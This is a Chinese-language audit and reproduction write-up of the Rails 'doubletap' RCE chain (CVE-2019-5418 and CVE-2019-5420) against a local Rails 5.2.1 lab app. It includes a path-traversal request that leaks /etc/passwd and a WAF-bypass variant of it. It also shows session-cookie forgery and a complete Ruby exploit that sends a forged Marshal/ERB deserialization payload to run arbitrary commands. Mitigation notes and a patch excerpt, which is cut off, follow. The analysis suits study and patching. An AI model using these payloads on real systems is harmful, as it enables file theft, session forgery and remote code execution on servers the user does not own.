rails doubletap RCE (CVE-2019-5418 & CVE-2019-5420) 代码审计分析 + 复现

复现环境

  • 官方源码下载(rails 5.2.1)

  • 环境: Ubuntu 18.04.6 LTS + Rails 5.2.1 + ruby 2.5.1

rails doubletap RCE (CVE-2019-5418 & CVE-2019-5420) 代码审计分析 + 复现

漏洞描述

rails doubletap RCE 由以下两个漏洞组合成:

  • CVE-2019-5418

Ruby on Rails(或者简称 Rails)是一个 Web 开发框架,使用 Ruby 编程语言开发。而2018主要是由于rails使用Sprockets作为静态文件服务器,在 Sprockets 3.7.1及之前版本中存在一个两次解码的路径穿越漏洞。而2019则主要是由于使用了为指定参数的render file来渲染应用之外的视图,修改访问某控制器的请求包,通过”../../../../“来达到路径穿越,再通过2个”{“来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

  • CVE-2019-5420

Rails < 5.2.2.1, < 6.0.0.beta3 的远程代码执行漏洞, 允许攻击者猜测自动生成的开发模式secret token。这个secret token可以与其他Rails内部相结合,用来升级到远程代码执行exploit。

风险等级

高危

影响版本

CVE-2019-5418

Rails全版本
其中修复版本有 6.0.0.beta3、5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1

CVE-2019-5420

影响版本: 6.0.0.X, 5.2.X.
不影响: None.
修复版本: 6.0.0.beta3, 5.2.2.1

漏洞利用链分析&复现

CVE-2019-5418

漏洞分析

通常情况下,在正常情况下,当我们访问/demo端点时,它看起来是这样的

控制器中的受影响的代码很简单:

  • /verifier_rce/app/controllers/demo_controller.rb

  • /verifier_rce/config/routes.rb

可以发现罪魁祸首是render file。因此,来看看actionview-5.2.1/lib/action_view/renderer/template_renderer.rb

看起来find_file被调用,跟踪查看它,在find_file中看到这个。

  • \rails-5.2.1\actionview\lib\action_view\lookup_context.rb

接下来,需要在args_for_lookup()方法中断点步进。args_for_lookup()的返回值将传递给@view_paths.find_file()

因此,payload存储在details[formats]中。然后回到@view_paths.find_file(),定位到actionview-5.2.1/lib/action_view/path_set.rb文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# frozen_string_literal: true

module ActionView #:nodoc:
# = Action View PathSet
#
# This class is used to store and access paths in Action View. A number of
# operations are defined so that you can search among the paths in this
# set and also perform operations on other +PathSet+ objects.
#
# A +LookupContext+ will use a +PathSet+ to store the paths in its context.
class PathSet #:nodoc:
include Enumerable

attr_reader :paths

delegate :[], :include?, :pop, :size, :each, to: :paths

def initialize(paths = [])
@paths = typecast paths
end

def initialize_copy(other)
@paths = other.paths.dup
self
end

def to_ary
paths.dup
end

def compact
PathSet.new paths.compact
end

def +(array)
PathSet.new(paths + array)
end

%w(<< concat push insert unshift).each do |method|
class_eval <<-METHOD, __FILE__, __LINE__ + 1
def #{method}(*args)
paths.#{method}(*typecast(args))
end
METHOD
end

def find(*args)
find_all(*args).first || raise(MissingTemplate.new(self, *args))
end

def find_file(path, prefixes = [], *args)
_find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
end

def find_all(path, prefixes = [], *args)
_find_all path, prefixes, args, false
end

def exists?(path, prefixes, *args)
find_all(path, prefixes, *args).any?
end

def find_all_with_query(query) # :nodoc:
paths.each do |resolver|
templates = resolver.find_all_with_query(query)
return templates unless templates.empty?
end

[]
end

private

def _find_all(path, prefixes, args, outside_app)
prefixes = [prefixes] if String === prefixes
prefixes.each do |prefix|
paths.each do |resolver|
if outside_app
templates = resolver.find_all_anywhere(path, prefix, *args)
else
templates = resolver.find_all(path, prefix, *args)
end
return templates unless templates.empty?
end
end
[]
end

def typecast(paths)
paths.map do |path|
case path
when Pathname, String
OptimizedFileSystemResolver.new path.to_s
else
path
end
end
end
end
end

由于视图在应用程序之外,outside_app是True的,因此执行resolver.find_all_anywhere(path, prefix, *args)

继续跟进到find_templates()

现在,build_query将query与payload组合在一起。

因此,该方法返回以下query语句:

1
/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

可以使用../遍历目录和2个”{“使查询语法完整。最后,将/etc/passwd作为模板处理,导致任意文件内容读取。

漏洞复现

  • 注意: rails版本一定要为5.2.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux-gnu]
$ rails -v
Rails 5.2.1
$ rails new verifier_rce
$ cd verifier_rce/
$ bundle install
$ rails s
=> Booting Puma
=> Rails 5.2.1 application starting in development
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.6 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop

访问 http://127.0.0.1:3000

burp请求:

1
2
3
4
5
6
7
8
GET /demo HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

burp响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: text/html; charset=utf-8
ETag: W/"79c7f007d9fe81c2142a7acb3f2bf535"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 80b327c7-49fc-4387-bb30-722ca522c47a
X-Runtime: 0.058913
Connection: close
Content-Length: 1558

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
luci18:x:1000:1000:,,,:/home/luci18:/bin/bash

waf绕过:

1
Accept: ../../../../../../../../e*c/sh*d?w{{

漏洞修复

  • CVE-2019-5418 and CVE-2019-5419 github patch

CVE-2019-5420

漏洞分析

在趋势科技漏洞研究服务漏洞报告的节选中,趋势科技安全研究团队的Sivathmican Sivakumaran和Pengsu Cheng详细介绍了Ruby on Rails中最近的一个代码执行漏洞。该漏洞最初是由研究人员ooooooo_q发现并报告的。以下是他们关于CVE-2019-5420的部分分析,只做了一些小修改。

Rails是一个用Ruby语言编写的开源web应用程序模型视图控制器(MVC)框架。
Rails的构建是为了鼓励软件工程模式和范式,如约定优于配置(CoC)、不重复自(DRY)和活动记录模式。
Rails以以下独立组件的形式发布:

Rails 5.2还附带了Active Storage,这是该漏洞的主要组件。Active Storage用于存储文件并将这些文件关联到Active Record。兼容Amazon S3、谷歌云存储、Microsoft Azure存储等云存储服务。

Ruby支持将对象序列化为JSON、YAML或Marshal序列化格式。Marshal序列化格式由Marshal类实现。对象可以分别通过load()和dump()方法序列化和反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master# irb
irb(main):001:0> class Test
irb(main):002:1> attr_accessor :a
irb(main):003:1> end
=> nil
irb(main):004:0> test = Test.new
=> #<Test:0x000055cc97cd25a8>
irb(main):005:0> test.a = "this is lUc1f3r11!"
=> "this is lUc1f3r11!"
irb(main):006:0> Marshal.dump(test)
=> "\x04\bo:\tTest\x06:\a@aI\"\x17this is lUc1f3r11!\x06:\x06ET"
irb(main):007:0> Marshal.load("\x04\bo:\tTest\x06:\a@aI\"\x17this is lUc1f3r11!\x06:\x06ET")
=> #<Test:0x000055cc97cdec18 @a="this is lUc1f3r11!">

如上所示,Marshal序列化格式使用 类型-长度-值 表示来序列化对象。

Active Storage默认为Rails应用程序添加了一些路由。

本报告着重关注以下两个routes,分别负责下载和上传文件:

1
2
3
4
5
6
7
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master/verifier_rce# rails routes
......
rails_disk_service GET /rails/active_storage/disk/:encoded_key/*filename(.:format)
active_storage/disk#show
update_rails_disk_service PUT /rails/active_storage/disk/:encoded_token(.:format)
active_storage/disk#update
......

Ruby on Rails的ActiveStorage组件存在不安全的反序列化漏洞。

该组件使用ActiveSupport::MessageVerifier来确保上述:encoded_key和:encoded_token变量的完整性。

在正常运行中,这些变量由MessageVerifier.generate()生成,其结构如下:

1
<base64-message>--<digest>

<base64-message>包含以下JSON对象的base64加密版本:

1
{"_rails":{"message":"<base64_data>","exp":null,"pur":"blob_key"}}

当一个GET或PUT请求被发送到包含”/rails/active_storage/disk/“的URI时,:encoded_key和:encoded_token变量被提取。这些变量由MessageVerifier.generate()生成,因此decode_verified_key和decode_verified_token调用MessageVerifier.verified()来检查和反序列化的完整性。

1
ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))

digest是通过使用MessageVerifier secret对数据进行签名而生成的。对于开发中的Rails应用程序,这个secret总是为应用程序的名称,是公开的。对于生产中的Rails应用程序,secret存储在credentials.yml.enc文件中,该文件使用master.key中的密钥进行加密。

这些文件的内容可以使用CVE-2019-5418公开。一旦完整性校验通过,将进行base64解码,在不进行进一步验证的情况下对结果字节流调用Marshal.load()

攻击者可以通过嵌入危险对象,如(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy)来利用这种情况来实现远程代码执行。

CVE-2019-5418需要结合CVE-2019-5420,以确保满足实现远程代码执行RCE的所有条件。

未经身份验证的远程攻击者可以通过向易受攻击的web应用程序发送嵌入精心制作的恶意序列化对象的HTTP请求来利用此漏洞。成功利用将导致在受影响的Ruby on Rails应用程序的security context中任意执行代码。

下面的代码片段取自Rails 5.2.1版本。

  • activesupport/lib/active_support/message_verifier.rb:

由于ActiveSupport::MessageVerifier和ActiveSupport::MessageEncryptor使用Marshal作为默认序列化器,因此确认通过对象注入RCE变得可行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class MessageVerifier
prepend Messages::Rotator::Verifier

class InvalidSignature < StandardError; end

def initialize(secret, options = {})
raise ArgumentError, "Secret should not be nil." unless secret
@secret = secret
@digest = options[:digest] || "SHA1"
@serializer = options[:serializer] || Marshal
end

def verify(*args)
verified(*args) || raise(InvalidSignature)
end

def verified(signed_message, purpose: nil, **)
if valid_message?(signed_message)
begin
data = signed_message.split("--".freeze)[0]
message = Messages::Metadata.verify(decode(data), purpose)
@serializer.load(message) if message
rescue ArgumentError => argument_error
return if argument_error.message.include?("invalid base64")
raise
end
end
end

def valid_message?(signed_message)
return if signed_message.nil? || !signed_message.valid_encoding? || signed_message.blank?

data, digest = signed_message.split("--".freeze)
data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
end

def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
"#{data}--#{generate_digest(data)}"
end
  • activestorage/app/controllers/active_storage/disk_controller.rb:
1
2
3
4
5
6
7
8
def decode_verified_key
ActiveStorage.verifier.verified(params[:encoded_key], purpose: :blob_key)
end


def decode_verified_token
ActiveStorage.verifier.verified(params[:encoded_token], purpose: :blob_token)
end

漏洞复现

如果服务器在development中运行5.2或靠后版本,如果攻击者可以知道应用程序名,就可以获得”secret_key_base”,因此通过访问URL可以容易地RCE。

在development模式中,攻击者需要知道”secret_key_base”。

对于低于5.2的版本,只有当用户能够使用ActiveSupport::MessageVerifier或ActiveSupport::MessageEncryptor输入位置并且攻击者知道secret_key_base时,才可能进行攻击。

在极少数情况下,攻击者可以直接访问处于development模式的服务器。

但是,因为它是一个GET访问,所以可以通过访问image来攻击它。

攻击者可以诱使开发人员获得捕获站点的访问权限,并在图像的URL中包含攻击的payload。

  • cookie解密&伪造
  • CVE-2019-5420 python 1
  • CVE-2019-5420 python 2

首先获取应用名称:

获取cookie:

1
d2O0niR18d4Oj/SkmZdPMx5ClAXqaVfiymL5A8eqPwA7R/Q9Yc7sHUskmjZF4aPWy3qAbL42AadtfK8FcSPmMZujTLIsvQ+aVkLW+UK2miufc+9o5//DyqgEofhoQ3unhOlDbWIfIagTDJdnS5s=--qEn3PfX27nsdGqXE--oo8tgPqI6YAB58U0zDSfUg==

解密cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master# python3 decrypt.py VerifierRce
[x] App name: VerifierRce
7e485df67863e85e584b3feecb22276d
[x] Key: 47f559fa08adcd4cc111531136ffd899f461f9ec6ad13a4f6cc565c32d4c19ff
Base64 Data: d2O0niR18d4Oj/SkmZdPMx5ClAXqaVfiymL5A8eqPwA7R/Q9Yc7sHUskmjZF4aPWy3qAbL42AadtfK8FcSPmMZujTLIsvQ+aVkLW+UK2miufc+9o5//DyqgEofhoQ3unhOlDbWIfIagTDJdnS5s=--qEn3PfX27nsdGqXE--oo8tgPqI6YAB58U0zDSfUg==
7763b49e2475f1de0e8ff4a499974f331e429405ea6957e2ca62f903c7aa3f003b47f43d61ceec1d4b249a3645e1a3d6cb7a806cbe3601a76d7caf057123e6319ba34cb22cbd0f9a5642d6f942b69a2b9f73ef68e7ffc3caa804a1f868437ba784e9436d621f21a8130c97674b9b
a849f73df5f6ee7b1d1aa5c4
a28f2d80fa88e98001e7c534cc349f52
-------------------------
-> [x] Data: 7763b49e2475f1de0e8ff4a499974f331e429405ea6957e2ca62f903c7aa3f003b47f43d61ceec1d4b249a3645e1a3d6cb7a806cbe3601a76d7caf057123e6319ba34cb22cbd0f9a5642d6f942b69a2b9f73ef68e7ffc3caa804a1f868437ba784e9436d621f21a8130c97674b9b
-> [x] IV: a849f73df5f6ee7b1d1aa5c4
-> [x] Auth Tag: a28f2d80fa88e98001e7c534cc349f52
-------------------------
[x] Plaintext Data: {"session_id":"a81354fd01338b570c5013ea89031758","_csrf_token":"LGMpwJoXzs28twmiIGpkwkg9nVtSM7Cvt9HHMOQ0Guk="}

伪造cookie的user_id字段参数:

1
2
3
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master# python2 exp.py
{"session_id":"a81354fd01338b570c5013ea89031758","_csrf_token":"LGMpwJoXzs28twmiIGpkwkg9nVtSM7Cvt9HHMOQ0Guk="}
d2OyiDJ0x9gE8qfgioFNcHkQ1EK4UEe9kDSkGZ%2B%2FKnwfP7R7GMTVXwEmkXMFufK9oCi0eKYjXpZPZ5ctKEKqZ%2B6sSY8UplCFWVrZ4xrh1TGzR%2Bxq%2F%2Fr7mqJw74sHFQDgw%2BU%2FQ0tgQatnQZ5vXtbr%2Fqt%2BM8HZFVA%2BeAEu0C4SNw%3D%3D--qEn3PfX27nsdGqXE--4pHqZXaShWCkVEqa0RZsMQ%3D%3D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master# python3 decrypt.py VerifierRce
[x] App name: VerifierRce
7e485df67863e85e584b3feecb22276d
[x] Key: 47f559fa08adcd4cc111531136ffd899f461f9ec6ad13a4f6cc565c32d4c19ff
Base64 Data: d2OyiDJ0x9gE8qfgioFNcHkQ1EK4UEe9kDSkGZ+/KnwfP7R7GMTVXwEmkXMFufK9oCi0eKYjXpZPZ5ctKEKqZ+6sSY8UplCFWVrZ4xrh1TGzR+xq//r7mqJw74sHFQDgw+U/Q0tgQatnQZ5vXtbr/qt+M8HZFVA+eAEu0C4SNw==--qEn3PfX27nsdGqXE--4pHqZXaShWCkVEqa0RZsMQ==
7763b2883274c7d804f2a7e08a814d707910d442b85047bd9034a4199fbf2a7c1f3fb47b18c4d55f0126917305b9f2bda028b478a6235e964f67972d2842aa67eeac498f14a65085595ad9e31ae1d531b347ec6afffafb9aa270ef8b071500e0c3e53f434b6041ab67419e6f5ed6ebfeab7e33c1d915503e78012ed02e1237
a849f73df5f6ee7b1d1aa5c4
e291ea6576928560a4544a9ad1166c31
-------------------------
-> [x] Data: 7763b2883274c7d804f2a7e08a814d707910d442b85047bd9034a4199fbf2a7c1f3fb47b18c4d55f0126917305b9f2bda028b478a6235e964f67972d2842aa67eeac498f14a65085595ad9e31ae1d531b347ec6afffafb9aa270ef8b071500e0c3e53f434b6041ab67419e6f5ed6ebfeab7e33c1d915503e78012ed02e1237
-> [x] IV: a849f73df5f6ee7b1d1aa5c4
-> [x] Auth Tag: e291ea6576928560a4544a9ad1166c31
-------------------------
[x] Plaintext Data: {"user_id": 1, "_csrf_token": "LGMpwJoXzs28twmiIGpkwkg9nVtSM7Cvt9HHMOQ0Guk=", "session_id": "a81354fd01338b570c5013ea89031758"}
  • 使用master.key解密credentials.yml.enc文件(cyberchef)

首先将加密字符串以”–”分割后,取第一部分base64解密然后hex输出,其为data部分:

1
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Hex('None',0)&input=bEZzNW1CVjg4c0M4MGpPWlpOaGVwclorVEI1bUFyM1JTYkIzZG1HaFdFSlJFWXhlZnhQZVNiZ2tNTldFd1RRNU96UGlZOWU4dXg5NkxTQ0xWTDdLZ21wQzUvckh6MTdkakJDeXJKeUVhaUphVUZpSXN2OFNXNU9mbk9PaHoydXFlMTdUMHNZelBXbVpIZmtWSDc2SlFiN0lwb2Fhai9OZDNDbnVsTWZ5Rjl6Y1h4eGdaWVdiOTJPcHlFVWg2RUZxdmJPVUZRVmFUM1Rja0pRQ3UxVkNjUlMxcGdBODdUS0hnU3pBZ0FCK3lYQzc0L2JrZEtONFdTdllNRDRTMURDd2RVVE1PVkk3YVphNVZYSVZ1RXU2ekJ6ODRRUzdNc25VSFE5TkVGa0hkc3ZLc21qbDVTL3Q5ajM4NVpUN2dDTUVFYU1qTnI1QkQvVjJjV1M2UUlqc2o1R2ZSRTBXamIrTkdJdEhpQUFkQi9BdGdMZTFTNG15VzQ5MTV3alZtSG5ZbktZUnhHUG5uZGJXd0E5YjRWRjhkeEM3NGhpOHhNNjNGSTNS
1
945b3998157cf2c0bcd2339964d85ea6b67e4c1e6602bdd149b0777661a1584251118c5e7f13de49b82430d584c134393b33e263d7bcbb1f7a2d208b54beca826a42e7fac7cf5edd8c10b2ac9c846a225a505888b2ff125b939f9ce3a1cf6baa7b5ed3d2c6333d69991df9151fbe8941bec8a6869a8ff35ddc29ee94c7f217dcdc5f1c6065859bf763a9c84521e8416abdb39415055a4f74dc909402bb55427114b5a6003ced3287812cc080007ec970bbe3f6e474a378592bd8303e12d430b07544cc39523b6996b9557215b84bbacc1cfce104bb32c9d41d0f4d10590776cbcab268e5e52fedf63dfce594fb80230411a32336be410ff5767164ba4088ec8f919f444d168dbf8d188b4788001d07f02d80b7b54b89b25b8f75e708d59879d89ca611c463e79dd6d6c00f5be1517c7710bbe218bcc4ceb7148dd1

然后取第二三部分作为IV和GCM TAG进行AES解密:

1
https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'984610c732734ff66fab2d28e2129905'%7D,%7B'option':'Base64','string':'eSLF/n3Xo5C6LACZ'%7D,'GCM','Hex','Raw',%7B'option':'Base64','string':'W9s2bKXWsSyjaQCqWu6yqQ%3D%3D'%7D,%7B'option':'Hex','string':''%7D)&input=OTQ1YjM5OTgxNTdjZjJjMGJjZDIzMzk5NjRkODVlYTZiNjdlNGMxZTY2MDJiZGQxNDliMDc3NzY2MWExNTg0MjUxMTE4YzVlN2YxM2RlNDliODI0MzBkNTg0YzEzNDM5M2IzM2UyNjNkN2JjYmIxZjdhMmQyMDhiNTRiZWNhODI2YTQyZTdmYWM3Y2Y1ZWRkOGMxMGIyYWM5Yzg0NmEyMjVhNTA1ODg4YjJmZjEyNWI5MzlmOWNlM2ExY2Y2YmFhN2I1ZWQzZDJjNjMzM2Q2OTk5MWRmOTE1MWZiZTg5NDFiZWM4YTY4NjlhOGZmMzVkZGMyOWVlOTRjN2YyMTdkY2RjNWYxYzYwNjU4NTliZjc2M2E5Yzg0NTIxZTg0MTZhYmRiMzk0MTUwNTVhNGY3NGRjOTA5NDAyYmI1NTQyNzExNGI1YTYwMDNjZWQzMjg3ODEyY2MwODAwMDdlYzk3MGJiZTNmNmU0NzRhMzc4NTkyYmQ4MzAzZTEyZDQzMGIwNzU0NGNjMzk1MjNiNjk5NmI5NTU3MjE1Yjg0YmJhY2MxY2ZjZTEwNGJiMzJjOWQ0MWQwZjRkMTA1OTA3NzZjYmNhYjI2OGU1ZTUyZmVkZjYzZGZjZTU5NGZiODAyMzA0MTFhMzIzMzZiZTQxMGZmNTc2NzE2NGJhNDA4OGVjOGY5MTlmNDQ0ZDE2OGRiZjhkMTg4YjQ3ODgwMDFkMDdmMDJkODBiN2I1NGI4OWIyNWI4Zjc1ZTcwOGQ1OTg3OWQ4OWNhNjExYzQ2M2U3OWRkNmQ2YzAwZjViZTE1MTdjNzcxMGJiZTIxOGJjYzRjZWI3MTQ4ZGQx

得到明文:

1
2
3
4
5
#   access_key_id: 123
# secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: c5e186be65c42074bc994d608797592ed5d2e5cc665d7938d55a1e243a39f0f12135318dbace4afe872bb94d000fda35f60698f02f232c3fbfe99580e52419de
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
require 'erb'
require "./verifier_rce/config/environment"
require "base64"
require 'net/http'

$proxy_addr = '192.168.0.11'
$proxy_port = 8080

$remote = "http://localhost:3000"
$ressource = "/demo"

puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"

print "[+] Checking if vulnerable to CVE-2019-5418 => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.body.include? "root:x:0:0:root:"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end

puts "[+] Getting reflective command (R) => "
loop do
begin
input = [(print 'Select option R: '), gets.rstrip][1]
if input == "R"
puts "Reflective command selected"
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
else
puts "No option selected"
abort
end

print "[+] Generating payload CVE-2019-5420 => "
app_class_name = VerifierRce::Application.name
secret_key_base = Digest::MD5.hexdigest(VerifierRce::Application.name)
puts secret_key_base
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
verifier = ActiveSupport::MessageVerifier.new(secret)
if input == "R"
code = "`" + command + " > /tmp/result.txt`"
puts code
else
code = "`" + command + " > /tmp/result.txt`"
end
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

puts "\033[92mOK\033[0m"
puts ""
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
puts url
puts ""

print "[+] Sending request => "
uri = URI(url)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end

if input == "R"
print "[+] Getting result of command => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m\n\n"
puts res.body
puts "\n"
else
puts "KO"
abort
end
end

rescue Exception => e
puts "Exiting..."
abort
end
end

运行exp成功执行任意命令:

漏洞修复

  • Fix of CVE-2019-5420

如果不能立即打补丁,则可以通过在开发模式中指定密钥来缓解此问题。在config/environments/development.rb文件,添加如下内容:

1
config.secret_key_base = SecureRandom.hex(64)

唯一的其他显著缓解措施是限制对受影响端口的访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
From 7f5ccda38bfecbe0bf00f15e5b8f5e40d52ab3f1 Mon Sep 17 00:00:00 2001
From: Aaron Patterson <aaron.patterson@gmail.com>
Date: Sun, 10 Mar 2019 16:37:46 -0700
Subject: [PATCH] Fix possible dev mode RCE

If the secret_key_base is nil in dev or test generate a key from random
bytes and store it in a tmp file. This prevents the app developers from
having to share / checkin the secret key for dev / test but also
maintains a key between app restarts in dev/test.

[CVE-2019-5420]

Co-Authored-By: eileencodes <eileencodes@gmail.com>
Co-Authored-By: John Hawthorn <john@hawthorn.email>
---
.../middleware/session/cookie_store.rb | 7 +++---
railties/lib/rails/application.rb | 19 ++++++++++++++--
.../test/application/configuration_test.rb | 22 ++++++++++++++++++-
railties/test/isolation/abstract_unit.rb | 1 +
4 files changed, 43 insertions(+), 6 deletions(-)

diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index 4ea96196d3..b7475d3682 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -29,9 +29,10 @@
#
# Rails.application.config.session_store :cookie_store, key: '_your_app_session'
#
- # By default, your secret key base is derived from your application name in
- # the test and development environments. In all other environments, it is stored
- # encrypted in the <tt>config/credentials.yml.enc</tt> file.
+ # In the development and test environments your application's secret key base is
+ # generated by Rails and stored in a temporary file in <tt>tmp/development_secret.txt</tt>.
+ # In all other environments, it is stored encrypted in the
+ # <tt>config/credentials.yml.enc</tt> file.
#
# If your application was not updated to Rails 5.2 defaults, the secret_key_base
# will be found in the old <tt>config/secrets.yml</tt> file.
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index e346d5cc3a..6a30e8cfa0 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -426,8 +426,8 @@ def secrets=(secrets) #:nodoc:
# then credentials.secret_key_base, and finally secrets.secret_key_base. For most applications,
# the correct place to store it is in the encrypted credentials file.
def secret_key_base
- if Rails.env.test? || Rails.env.development?
- secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
+ if Rails.env.development? || Rails.env.test?
+ secrets.secret_key_base ||= generate_development_secret
else
validate_secret_key_base(
